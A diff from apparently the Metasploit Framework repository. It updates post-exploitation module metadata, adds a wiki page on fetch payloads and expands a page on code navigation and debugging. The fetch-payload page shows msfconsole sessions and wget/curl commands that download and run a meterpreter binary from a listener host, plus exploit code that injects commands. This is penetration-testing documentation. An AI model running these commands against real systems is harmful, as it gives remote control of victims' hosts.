"stager_refname": "windows/x64/reverse_winhttps" }, "post_aix/hashdump": { "name": "AIX Gather Dump Password Hashes", @@ -212850,7 +234989,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/multi/gather/apple_ios_backup.rb", "is_install_path": true, "ref_name": "multi/gather/apple_ios_backup", @@ -212919,13 +235058,13 @@ "URL-http://s3tools.org/kb/item14.htm", "URL-http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html#cli-config-files" ], - "platform": "", + "platform": "BSD,Linux,OSX,Solaris,Unix", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-10-08 09:50:25 +0000", + "mod_time": "2023-06-01 15:49:46 +0000", "path": "/modules/post/multi/gather/aws_keys.rb", "is_install_path": true, "ref_name": "multi/gather/aws_keys", @@ -213558,7 +235697,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/multi/gather/firefox_creds.rb", "is_install_path": true, "ref_name": "multi/gather/firefox_creds", @@ -215257,7 +237396,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-06-06 07:23:58 +0000", "path": "/modules/post/multi/manage/shell_to_meterpreter.rb", "is_install_path": true, "ref_name": "multi/manage/shell_to_meterpreter", @@ -217207,7 +239346,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/escalate/ms10_073_kbdlayout.rb", "is_install_path": true, "ref_name": "windows/escalate/ms10_073_kbdlayout", @@ -217244,7 +239383,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/escalate/screen_unlock.rb", "is_install_path": true, "ref_name": "windows/escalate/screen_unlock", @@ -217286,7 +239425,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/escalate/unmarshal_cmd_exec.rb", "is_install_path": true, "ref_name": "windows/escalate/unmarshal_cmd_exec", @@ -218032,7 +240171,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/gather/credentials/domain_hashdump.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/domain_hashdump", @@ -221210,7 +243349,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/gather/dumplinks.rb", "is_install_path": true, "ref_name": "windows/gather/dumplinks", @@ -222183,7 +244322,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/gather/enum_files.rb", "is_install_path": true, "ref_name": "windows/gather/enum_files", @@ -222431,7 +244570,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/gather/enum_muicache.rb", "is_install_path": true, "ref_name": "windows/gather/enum_muicache", @@ -222606,7 +244745,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/gather/enum_prefetch.rb", "is_install_path": true, "ref_name": "windows/gather/enum_prefetch", @@ -223109,7 +245248,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/gather/file_from_raw_ntfs.rb", "is_install_path": true, "ref_name": "windows/gather/file_from_raw_ntfs", @@ -223373,7 +245512,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/gather/forensics/recovery_files.rb", "is_install_path": true, "ref_name": "windows/gather/forensics/recovery_files", @@ -223492,7 +245631,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/gather/local_admin_search_enum.rb", "is_install_path": true, "ref_name": "windows/gather/local_admin_search_enum", @@ -223999,7 +246138,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/gather/smart_hashdump.rb", "is_install_path": true, "ref_name": "windows/gather/smart_hashdump", @@ -224423,7 +246562,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-12-18 10:56:46 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/manage/dell_memory_protect.rb", "is_install_path": true, "ref_name": "windows/manage/dell_memory_protect", @@ -224577,7 +246716,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/manage/enable_support_account.rb", "is_install_path": true, "ref_name": "windows/manage/enable_support_account", @@ -224999,6 +247138,56 @@ ], "needs_cleanup": null }, + "post_windows/manage/make_token": { + "name": "Make Token Command", + "fullname": "post/windows/manage/make_token", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Daniel López Jiménez (attl4s)", + "Simone Salucci (saim1z)" + ], + "description": "In its default configuration, this module creates a new network security context with the specified\n logon data (username, domain and password). Under the hood, Meterpreter's access token is cloned, and\n a new logon session is created and linked to that token. The token is then impersonated to acquire\n the new network security context. This module has no effect on local actions - only on remote ones\n (where the specified credential material will be used). This module does not validate the credentials\n specified.", + "references": [ + + ], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-06 09:07:57 +0000", + "path": "/modules/post/windows/manage/make_token.rb", + "is_install_path": true, + "ref_name": "windows/manage/make_token", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + "AKA": [ + "make_token", + "maketoken" + ], + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null + }, "post_windows/manage/migrate": { "name": "Windows Manage Process Migration", "fullname": "post/windows/manage/migrate", @@ -225249,7 +247438,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/manage/portproxy.rb", "is_install_path": true, "ref_name": "windows/manage/portproxy", @@ -225395,7 +247584,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/manage/pptp_tunnel.rb", "is_install_path": true, "ref_name": "windows/manage/pptp_tunnel", @@ -225613,7 +247802,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/manage/rid_hijack.rb", "is_install_path": true, "ref_name": "windows/manage/rid_hijack", @@ -226032,7 +248221,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/manage/wdigest_caching.rb", "is_install_path": true, "ref_name": "windows/manage/wdigest_caching", @@ -226140,7 +248329,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/recon/outbound_ports.rb", "is_install_path": true, "ref_name": "windows/recon/outbound_ports", @@ -226334,4 +248523,4 @@ ], "needs_cleanup": null } -} \ No newline at end of file +} diff --git a/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md new file mode 100644 index 0000000000000..2a0efdc598625 --- /dev/null +++ b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md @@ -0,0 +1,333 @@ +# Fetch Payloads + +## What Are Fetch Payloads? +Fetch payloads are adapted, command-based payloads use network-enabled binaries on a remote host to download binary +payloads to that remote host. Adapted payloads are just payloads where we have bolted an extra feature on top of +existing payloads to modify the behavior. In this case, you can still use all your favorite binary payloads and +transports, but we've added an optional fetch payload adapter on top to stage the payloads using a networking binary and +server. They function similarly to some Command Stagers, but are based on the payload side rather than the exploit side +to simplify integration and portability. Fetch payloads are a fast, easy way to get a session on a target that has a +command injection or code execution vulnerability *and* a known binary with the ability to download and store +a file. + +## Terminology +In the following documentation, it is useful to agree on certain terms to use so we don't get confused or confusing. +`Fetch Payload` - The command to execute on the remote host to retrieve and execute the `Served Payload` +`Fetch Binary` - The binary we are using on the remote host to download the Served Payload. Examples might be WGET, +cURL, or Certutil. +`Fetch Protocol` - The protocol used to download the served payload, for example HTTP, HTTPS or TFTP. +`Fetch Listener` - The server hosting the served payload. +`Fetch Handler` - The same as `Fetch Listener` +`Served Payload` - The underlying payload we want to execute. We also might call this the `Adapted Payload`. +`Served Payload Handler` - The handler for the served payload. This is just a standard payload like +`meterpreter/reverse_tcp` or `shell_reverse_tcp`. + +## Organization +Unlike Command Stagers which are organized by binary, Fetch Payloads are organized by server. Currently, we support +HTTP, HTTPS, and TFTP servers. Once you select a fetch payload, you can select the binary you'd like to run on the +remote host to download the served payload prior to execution. + +Here is the naming convention for fetch payloads: +`///served_payload` +For example: +`cmd/linux/https/x64/meterpreter/reverse_tcp` Will do four things: +1) Create a `linux/x64/meterpreter/reverse_tcp` elf binary to be the served payload. +2) Serve the above served payload on an HTTPS server +3) Start a served payload handler for the served payload to call back to +4) Generate a command to execute on a remote host that will download the served payload and run it. + + +## A Simple Stand-Alone Example +The fastest way to understand Fetch Payloads is to use them and examine the output. For example, let's assume a Linux +target with the ability to connect back to us with an HTTP connection and a command execution vulnerability. +First, let's look at the payload in isolation: +```msf +msf6 exploit(multi/ssh/sshexec) > use payload/cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > show options + +Module options (payload/cmd/linux/http/x64/meterpreter/reverse_tcp): + +Name Current Setting Required Description + ---- --------------- -------- ----------- +FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) +FETCH_FILENAME YXeSdwsoEfOH no Name to use on remote system when storing payload +FETCH_SRVHOST 0.0.0.0 yes Local IP to use for serving payload +FETCH_SRVPORT 8080 yes Local port to use for serving payload +FETCH_URIPATH no Local URI to use for serving payload +FETCH_WRITABLE_DIR yes Remote writable dir to store payload +LHOST yes The listen address (an interface may be specified) +LPORT 4444 yes The listen port + + +View the full module info with the info, or info -d command. + +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > +``` + +### Options +`FETCH_COMMAND` is the binary we wish to run on the remote host to download the adapted payload. Currently, the +supported options are `CURL FTP TFTP TNFTP WGET` on Linux hosts and `CURL TFTP CERTUTIL` on Windows hosts. We'll get +into more details on the binaries later. +`FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not +supported by every binary and must end in `.exe` on Windows hosts. The default value is random. +`FETCH_SRVHOST` is the IP where the server will listen. +`FETCH_SRVPORT` is the port where the server will listen. +`FETCH_URIPATH` is the URI corresponding to the payload file. The default value is deterministic based on the +underlying payload so a payload created in msfvenom will match a listener started in Framework assuming the underlying +served payload is the same. +`FETCH_WRITABLE_DIR` is the directory on the remote host where we'd like to store the served payload prior to execution. +This value is not supported by all binaries. If you set this value and it is not supported, it will generate an error. + +The remaining options will be the options available to you in the served payload; in this case our served payload is +`linux/x64/meterpreter/reverse_tcp` so our only added options are `LHOST` and `LPORT`. If we had selected a different +payload, we would see different options. + +### Generating the Fetch Payload +```msf +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_COMMAND WGET +FETCH_COMMAND => WGET +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVHOST 10.5.135.201 +FETCH_SRVHOST => 10.5.135.201 +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVPORT 8000 +FETCH_SRVPORT => 8000 +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LHOST 10.5.135.201 +LHOST => 10.5.135.201 +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LPORT 4567 +LPORT => 4567 +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw +wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH & +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > +``` + +You can see the fetch payload generated: +`wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH &` +This command downloads the served payload, marks it as executable, and then executes it on the remote host. + +### Starting the Fetch Server +When you start the `Fetch Handler`, it starts both the server hosting the binary payload *and* the listener for the +served payload. With `verbose` set to `true`, you can see both the Fetch Handler and the Served Payload Handler are +started: +```msf +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler +[*] wget -qO ./YBybOrAmkV http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YBybOrAmkV; ./YBybOrAmkV & +[*] Payload Handler Started as Job 0 +[*] Fetch Handler listening on 10.5.135.201:8000 +[*] http server started +[*] Started reverse TCP handler on 10.5.135.201:4567 +``` + +### Fetch Handlers and Served Payload Handlers +The Fetch Handler is tracked with the Served Payload Handler, so you will only see the Served Payload Handler under +`Jobs`, even though the Fetch Handler is listening: +```msf +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -l + +Jobs +==== + + Id Name Payload Payload opts + -- ---- ------- ------------ + 0 Exploit: multi/handler cmd/linux/http/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4567 + +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000 +[*] exec: netstat -ant | grep 8000 + +tcp 0 0 10.5.135.201:8000 0.0.0.0:* LISTEN + +``` +Killing the Served Payload handler will kill the Fetch Handler as well: +```msf +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -k 0 +[*] Stopping the following job(s): 0 +[*] Stopping job 0 +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000 +[*] exec: netstat -ant | grep 8000 + +msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > +``` + +## Using Fetch Payloads on the Fly +One really nice thing about Fetch Payloads is that it gives you the ability to execute a binary payload very quickly, +without relying on a session in framework or having to get a payload on target. If you have a shell session or even a +really odd situation where you can execute commands, you can get a session in framework quickly without having to upload +a payload manually. Just follow the steps above, and run the provided command. Right now, the only thing we serve are +Framework payloads, but in the future, expanding to serve and execute any executable binary would be relatively trivial. + +## Using it in an exploit +Using Fetch Payloads is no different than using any other command payload. First, give users access to the Fetch +payloads for a given platform by adding a target that supports `ARCH_CMD` and the desired platform, either `windows` or +`linux`. Once the target has been added, you can get access to the command by invoking `payload.encoded` and use it as +the command to execute on the remote target. + +### Example paired with CmdStager +There is likely to be some overlap between fetch payloads and command stagers. Let's talk briefly about how to support +both in an exploit. Please see the documentation on Command Stagers for required imports and specifics for command +stagers. in this case, I'm only documenting the changes to make so that fetch payloads will work alongside command +stagers or to use fetch payloads in the style of command stagers, which I suggest you do. + +In this case, I've modified the code provided in the command stager documentation to support both linux and unix command +payloads. All I did was give an array value for the `Platform` value and change the`Type` to something more generic: +``` ruby +'Targets' => + [ + [ 'Linux Command', + { + 'Arch' => [ ARCH_CMD ], + 'Platform' => [ 'unix', 'linux' ], + 'Type' => :nix_cmd + } + ] + ] +``` + +For the `execute_command` method, nothing changes: + +``` ruby +def execute_command(cmd, _opts = {}) +populate_values if @sid.nil? || @token.nil? +uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php' + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri), + 'cookie' => 'sid=' + @sid, + 'ctype' => 'application/x-www-form-urlencoded', + 'encode_params' => true, + 'vars_post' => { + 'token' => @token, + 'text' => cmd, + 'hhook' => 'exec', + 'sid' => @sid + } + }) +end +``` + +The only change in the exploit method is the use of the more generic `Type` value in the case statement. Nothing else +needs to change. + +``` ruby + def exploit + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :nix_cmd + execute_command(payload.encoded) + when :linux_dropper + execute_cmdstager + end + end +``` + +If you have an exploit that already supports Unix Command payloads and you'd like it to support Linux Command payloads +like Fetch Payloads, you can simply add the `linux` value to the platform array: + +``` ruby +'Nix Command', + { + 'Platform' => [ 'unix', 'linux' ], + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + } +``` + +## Supported Commands +### Windows And Linux Both +#### `CURL` +cURL comes pre-installed on Windows 10 and 11, and it is incredibly common on linux platforms and the options are very +standardized across releases and platforms. This makes cURL a good default choice for both Linux and Windows +targets. All options and server protocol types are supported by the cURL command. + +#### `TFTP` +The TFTP binary is useful only in edge cases because of a long list of limitations: +1) It is a Windows feature, but it is turned off by default on Windows Vista and later. +2) While you are likely to find it on Linux and Unix hosts, the options are not standard across releases. +3) The TFTP binary included in many Linux systems and all Windows systems does not allow for the port to be configured, +nor does it allow for the destination filename to be configured, so `FETCH_SRVPORT` must always be set to 69 and +`FETCH_WRITABLE_DIR` and `FETCH_FILENAME` must be empty. Listening on port 69 in Framework can be problematic, so I +suggest that you use the advanced option `FetchListenerBindPort` to start the server on a different port and redirect +the connection with a tool like iptables to a high port. +For example, if you are on a linux host with iptables, you can execute the following commands to redirect a connection +on UDP port 69 to UDP port 3069: +`sudo iptables -t nat -I PREROUTING -p udp --dport 69 -j REDIRECT --to-ports 3069` +`sudo iptables -t nat -I OUTPUT -p udp -d 127.0.0.1 --dport 69 -j REDIRECT --to-ports 3069` +Then, you can set `FetchListenerBindPort` to 3069 and get the callback correctly. +4) Because tftp is a udp-based protocol and because od the implementation of the server within Framework, each time you +start a tftp fetch handler, a new service will start: +```msf +msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs + +Jobs +==== + + Id Name Payload Payload opts + -- ---- ------- ------------ + 2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444 + +msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 4445 +LPORT => 4445 +msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler + +[*] Command to run on remote host: curl -so plEYxIdBQna.exe tftp://10.5.135.201:8080/test1 & start /B plEYxIdBQna.exe +[*] Payload Handler Started as Job 4 + +[*] starting tftpserver on 10.5.135.201:8080 +[*] Started reverse TCP handler on 10.5.135.201:4445 +msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs + +Jobs +==== + + Id Name Payload Payload opts + -- ---- ------- ------------ + 2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444 + 4 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4445 + +msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080 +[*] exec: netstat -an | grep 8080 + +udp 0 0 10.5.135.201:8080 0.0.0.0:* +udp 0 0 10.5.135.201:8080 0.0.0.0:* +msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set FETCH_URIPATH test4 +FETCH_URIPATH => test4 +msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 8547 +LPORT => 8547 +msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler + +[*] Command to run on remote host: curl -so DOjmRoCOSMn.exe tftp://10.5.135.201:8080/test4 & start /B DOjmRoCOSMn.exe +[*] Payload Handler Started as Job 5 + +[*] starting tftpserver on 10.5.135.201:8080 +[*] Started reverse TCP handler on 10.5.135.201:8547 +msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080 +[*] exec: netstat -an | grep 8080 + +udp 0 0 10.5.135.201:8080 0.0.0.0:* +udp 0 0 10.5.135.201:8080 0.0.0.0:* +udp 0 0 10.5.135.201:8080 0.0.0.0:* + +``` +There is nothing to stop you from creating a race condition by starting multiple tftp servers with the same IP, port, +and `FETCH_URI` value but serving different payloads. This will result in a race condition where the payload served is +non-deterministic. + + +### Windows Only +#### `Certutil` +Certutil is a great choice for Windows targets- it is likely to be present on most recent releases of Windows and is +highly configurable. The one troublesome aspect is that there is no insecure mode for Certutil, so if you are using +Certutil with the HTTPS protocol, the certificate must be correct and checked. It supports `HTTP` and `HTTPS` +protocols. + +### Linux Only +#### `FTP` +FTP is an old but useful binary. While we support using the FTP binary, we do not have an FTP server. Modern releases +of FTP support both HTTP and HTTPS protocols. Unfortunately, we only support these modern versions of inline FTP, so it +may not be appropriate for older systems. + +#### `TNFTP` +TNFTP (not to be confused with TFTP) is a newer version of FTP. It is exactly the same as modern FTP, but sometimes both the legacy FTP and TNFTP are +present on a system, so the command will be `tnftp` rather than `ftp`. + +#### WGET +WGET is likely the first choice for a linux-only target. It supports both HTTPS and HTTP and all Fetch payload options. +It is ubiquitous on Linux hosts and very standard, making it an excellent choice. \ No newline at end of file diff --git a/docs/metasploit-framework.wiki/Navigating-and-Understanding-Metasploits-Codebase.md b/docs/metasploit-framework.wiki/Navigating-and-Understanding-Metasploits-Codebase.md index e1f47922f2d8a..bbad5cb237427 100644 --- a/docs/metasploit-framework.wiki/Navigating-and-Understanding-Metasploits-Codebase.md +++ b/docs/metasploit-framework.wiki/Navigating-and-Understanding-Metasploits-Codebase.md @@ -1,9 +1,9 @@ +# Overview One of the most important things to learn when first working with Metasploit is how to navigate Metasploit's codebase. However, its often not immediately clear how this should be done. This page aims to explain some of the different approaches that one can take when navigating Metasploit's codebase and provides a primer for learning how Metasploit's codebase is structured. A quick reminder before we get started, but one can always access the Metasploit Slack at . Normally this page should allow you to sign up, however if for any reason you cannot, feel free to shoot an email to msfdev *at* rapid7 *dot* com and we will be happy to send you an invite link. -Metasploit Code Structure ------------------------- +# Metasploit Code Structure A great outline of Metasploit's code structure can be found at , which should be referred to for an overview of Metasploit's code structure. To repeat what is said there there are the following main subdirectories: * **data** - Our general data storage area. Used to store wordlists for use by modules, binaries that are used by exploits, images, and more. @@ -23,25 +23,136 @@ A great outline of Metasploit's code structure can be found at . Note that double quotes are required to match specifically on a certain term; in the previous example this term was `payload.arch`. You can also set the `type=code` parameter to specifically match only on code results, however this can be set to `commits` or `issues` if you want to search commits or issues instead. Finally notice that when searching code, its important to also specify the language of the files you want to match. In the case above I made it so that my results would only match on files deemed by GitHub to contain Ruby code, however you can also specify other languages such as Batch, or C if you want those languages instead. You can even remove the language restriction if you find your search results are too narrow. Another incredibly useful feature of GitHub is the ability to search across all repositories that an organization owns. This is especially useful in Metasploit as certain components, such as Rex code and payload code, may be contained in repositories other than `metasploit-framework`. To search across the public repositories that Rapid7 owns, use a search such as . Note the presence of the `org:rapid7` tag within the previous URL: this tells GitHub to look through all repositories that Rapid7 owns for the term `payload.arch` within any code files. Experiment with these results and play around with GitHub searches more. Over time you will learn where it is useful and where it has its limitations and will be able to determine when it might be better to use an IDE to help understand a piece of code more. -IDE Code Navigation ------------------------- +## SolarGraph Code Navigation +A better way to navigate code, particularly across repos, and also find out where things are defined using an easy to use interface, is SourceGraph from +. The interface is not hard to use and you can find several tutorials over at on how to use it. + +The main benefit of SourceGraph over GitHub is the ability to search all known repositories at once and then easily jump between definitions using either the +online search at , or the GitHub integrated browser plugin from to allow +easy navigation of Metasploit and Rapid7 code from your GitHub PR reviews. + +It is also recommended to review the tutorials and better understand some of the advanced search capabilities of SourceGraph as they do provide some useful search +functionality that is not available or may be harder to perform with GitHub. + +# IDE Code Navigation + +## RubyMine Code Navigation One of the best ways to navigate the codebase within Metasploit is to use RubyMine, available from . Whilst it is a paid tool, it offers a variety of neat referencing finding features such as the ability to right click on a method name and select `Find Usages`, or to right click the method name and select `Go To -> Declaration or Usages` to find all the locations where that method might of been defined within the codebase, which can make tracing complex definitions that wind between library and module code much easier. RubyMine also offers autocompletion and integrates well with many tools such as Git to allow you to quickly switch branches and RuboCop to help provide suggestions on where your code style could be improved. For a cheaper option one can also use VS Code. Note however that VS Code does not have the best autotab completion and will not allow you to trace references, however if your willing to put up with this, it is a much faster and more lightweight product than RubyMine, which makes it great for those times when you just need to edit a piece of code without loading a bunch of related files that you don't need to reference or edit. It also has great regex search features that work much faster than RubyMine, allowing you to search for items within the codebase a lot quicker than you can with RubyMine, which will often seem to stutter at times due to its larger overhead. Ultimately though the tool that you pick should be up to you. Some may prefer to work with vim/nano/emacs or some other command line editor over a GUI interface. Use whatever you can afford and feels comfortable to you! -Pry Debugging ------------------------- -Occasionally, simply reading through Metasploit code may not be helpful. You need to actually get into the weeds and learn what a piece of code is doing. In these cases, it may be helpful to use `pry`, a Ruby Debugger that can be launched at a specific place within your code and which allows you to view the state of the program at that time, make adjustments as needed, and then either step through the program or continue to let it run. A full tutorial on Pry will not be provided here, instead readers are encouraged to read up on the various guides on Pry available online, such as +## SolarGraph Code Navigation - VSCode +We'd be remiss to not mention SolarGraph as a potential plugin that one can use to navigate code within VSCode. This tool +provides a lot of the autocomplete and IntelliSense functionality you might get from dedicated IDEs such as RubyMine, within +VSCode itself. The tool can be installed by running `gem install solargraph-rails` for the Rails integrations, which will +also in turn install `solargraph` itself. If you just want SolarGraph without the Rails integrations, run `gem install solargraph`. + +The configuration file for SolarGraph itself can be found at `.solargraph.yml` within the root directory of Metasploit Framework. +For more information on how this works and how to tweak it, please refer to . + +Once the Gem files have been installed, the next step is to install the VSCode plugin. You can grab it from +. Once this is done, run the following commands +to ensure that SolarGraph is using the most up to date information about your code: + +``` +bundle install # Update all the gems +yard gems # Create documentation files for all the gems. SolarGraph relies on YARD for a lot of info. +yard doc -c # Create YARD docs for all files and use the cache so we don't repeat work (-c option). +solargraph bundle # Update Solargraph documentation for bundled gems +``` + +Then close down VSCode and restart it again, opening up the `metasploit-framework` directory again as a project if needs be. +This should result in the SolarGraph server starting and then taking a few minutes to index your files. Note that this +process may occur every time you open up the `metasploit-framework` project. This is normal and to be expected. + +If you'd like to save yourself some time, you can have YARD automatically generate new documentation for installed Gems +by running `yard config --gem-install-yri` which will configure YARD to automatically generate documentation whenever +new Gems are installed. + +# Debugging Metasploit + +## Pry Debugging +Occasionally, simply reading through Metasploit code may not be helpful. You need to actually get into the weeds and learn +what a piece of code is doing. In these cases, it may be helpful to use `pry`, a Ruby Debugger that can be launched at +a specific place within your code and which allows you to view the state of the program at that time, +make adjustments as needed, and then either step through the program or continue to let it run. + +You can enter into an interactive debugging environment using `pry` by adding the following code +snippet within your Metasploit module or library method: + +```ruby +require 'pry'; binding.pry +``` + +Pry includes inbuilt commands for code navigation: + +- `backtrace`: Show the current call stack +- `up` / `down`: Navigate the call stack +- `step`: Move forward by a single execution step +- `next`: Move forward by a single line +- `whereami`: Show the current breakpoint location again +- `help`: View all of the available commands and options + +Ruby's runtime introspection can be used to view the available methods, classes, and variables within the current Ruby environment: + +- `self`: To find out what the current object is +- `self.methods`: Find all available methods +- `self.methods.grep /send/`: Searching for a particular method that you're interested in. This can be great to explore unknown APIs. +- `self.method(:connect).source_location`: Find out which file, and which line, defined a particular method +- `self.class.ancestors`: For complex modules, this can be useful to see what mixins a Metasploit module is currently using + +To learn more about Pry, we recommend reading GitLab's guide at . + +## Debug.gem Debugging +Ruby 3.1 and later come with `debug.gem` installed automatically, which is the new default debugger for Ruby. It replaces +the old `lib/debug.rb` library that was not actively being maintained and replaces it with a modern debugging library +capable of performing many debugging actions with next to no impact on the performance of the debugged application. + +Whilst RubyMine does not support the `debug.gem` functionality, you can use VSCode to take advantage of `debug.gem` +to get speedy debugging of Ruby scripts from within VSCode itself. Simply install the debugging plugin +from , then go to the Metasploit root directory, +and if you have Bundler installed, run `bundle install`. This will bring in the latest version of the `debug` gem. + +Once this is all done, open the `metasploit-framework` folder from a cloned GitHub copy of Metasploit Framework in VSCode +by using `File->Open Folder`. Then click `Run->Add Configuration->Ruby(rdbg)`. This will create a file at +`/.vscode/launch.json`. Replace the contents of this file with the contents of the file at +. If you wish, you can +optionally change the listening port from `55634` in the script to one of your choice. + +Finally click `Run->Start Debugging` to start debugging Metasploit Framework using VSCode. This may cause a prompt to +appear 